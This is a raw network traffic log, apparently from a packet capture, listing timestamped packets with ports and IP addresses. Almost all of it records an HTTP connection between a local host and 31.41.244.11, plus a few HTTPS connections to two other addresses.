Dec 19, 2024 06:09:54.222378969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.222378969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.222464085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.223191977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.223206043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.223222017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.223246098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.223246098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.223330975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.224013090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.224073887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.224076986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.224091053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.224128962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.224128962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.224961996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.224978924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.224994898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.225023985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.225023985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.225069046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.225816011 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.225871086 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.225909948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.225980043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.235702038 CET	443	49867	20.233.83.145	192.168.2.4
Dec 19, 2024 06:09:54.235817909 CET	443	49867	20.233.83.145	192.168.2.4
Dec 19, 2024 06:09:54.235884905 CET	443	49867	20.233.83.145	192.168.2.4
Dec 19, 2024 06:09:54.235903025 CET	49867	443	192.168.2.4	20.233.83.145
Dec 19, 2024 06:09:54.235935926 CET	49867	443	192.168.2.4	20.233.83.145
Dec 19, 2024 06:09:54.236699104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.236725092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.236741066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.236769915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.236769915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.236799002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.237199068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.237248898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.237265110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.237265110 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.237314939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.237314939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.238038063 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.238086939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.242000103 CET	49867	443	192.168.2.4	20.233.83.145
Dec 19, 2024 06:09:54.384128094 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:54.384152889 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:54.384234905 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:54.384601116 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:54.384635925 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:54.389343023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.389360905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.389378071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.389389038 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.389425993 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.389425993 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.389710903 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.389744043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.389760017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.389791965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.389810085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.390625954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.390641928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.390659094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.390707970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.390707970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.391490936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.391508102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.391525030 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.391549110 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.391549110 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.391567945 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.392342091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.392390966 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.392429113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.392445087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.392505884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.393218040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.393296957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.393311977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.393372059 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.393372059 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.394109011 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.394151926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.394167900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.394236088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.394256115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.395010948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.395088911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.395106077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.395183086 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.395183086 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.395879984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.395945072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.395961046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.396001101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.396028042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.396786928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.396836042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.396852016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.396857977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.396883011 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.396894932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.397733927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.397748947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.397757053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.398030996 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.398649931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.398716927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.398901939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.398917913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.398955107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.398955107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.399543047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.399573088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.399589062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.399606943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.399606943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.399627924 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.400446892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.400464058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.400479078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.400501013 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.400533915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.401284933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.401300907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.401316881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.401343107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.401371002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.402246952 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.402302027 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.402318001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.402359009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.402391911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.403038979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.403054953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.403105974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.403240919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.403924942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.403975010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.403985023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.404002905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.404027939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.404055119 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.404797077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.404846907 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.404869080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.404885054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.404911041 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.404926062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.405756950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.405774117 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.405790091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.405802965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.405814886 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.405833006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.406622887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.406639099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.406655073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.406672001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.406685114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.406702995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.407465935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.407532930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.407556057 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.407572031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.407598972 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.407610893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.408413887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.408720016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.408737898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.408754110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.408781052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.408817053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.409569979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.409585953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.409601927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.409636974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.409648895 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.410500050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.410516024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.410532951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.410567045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.410589933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.411375046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.411391020 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.411406040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.411425114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.411437035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.411457062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.412350893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.412367105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.412384033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.412414074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.412434101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.413268089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.413295031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.413311005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.413343906 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.413368940 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.414005995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.414052963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.414053917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.414069891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.414103031 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.414113998 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.414887905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.414913893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.414931059 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.414961100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.414979935 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.415755987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.415824890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.415842056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.415880919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.415910006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.416708946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.416724920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.416739941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.416785002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.416820049 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.417601109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.417679071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.417695999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.417727947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.417754889 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.418415070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.418566942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.428811073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.428879976 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.428896904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.428937912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.428972006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.429270029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.429297924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.429312944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.429346085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.429375887 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.430159092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.430793047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.581722975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.581739902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.581762075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.581806898 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.581830025 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.582077980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.582094908 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.582109928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.582144976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.582144976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.582940102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.582947016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.582989931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.582992077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.583014965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.583034992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.583060026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.583861113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.583878040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.583900928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.583924055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.583949089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.584762096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.584778070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.584793091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.584824085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.584824085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.585618973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.585670948 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.585675001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.585699081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.585747004 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.586508989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.586524963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.586539984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.586554050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.586579084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.587380886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.587415934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.587436914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.587469101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.587485075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.588268042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.588295937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.588313103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.588340998 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.588362932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.589179993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.589195967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.589211941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.589241028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.589261055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.590078115 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.590094090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.590110064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.590123892 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.590136051 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.590162992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.590941906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.590991020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.590992928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.591011047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.591033936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.591047049 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.591811895 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.591869116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.591883898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.591913939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.591933012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.592762947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.592781067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.592823029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.592828035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.593594074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.593638897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.593641043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.593660116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.593682051 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.593704939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.594491005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.594536066 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.594546080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.594562054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.594589949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.594600916 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.595446110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.595460892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.595477104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.595504999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.595530033 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.599987984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600003958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600061893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.600152016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600168943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600191116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600208044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600217104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.600224972 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600239038 CET	49860	80	192.168.2.4	31.41.244.11
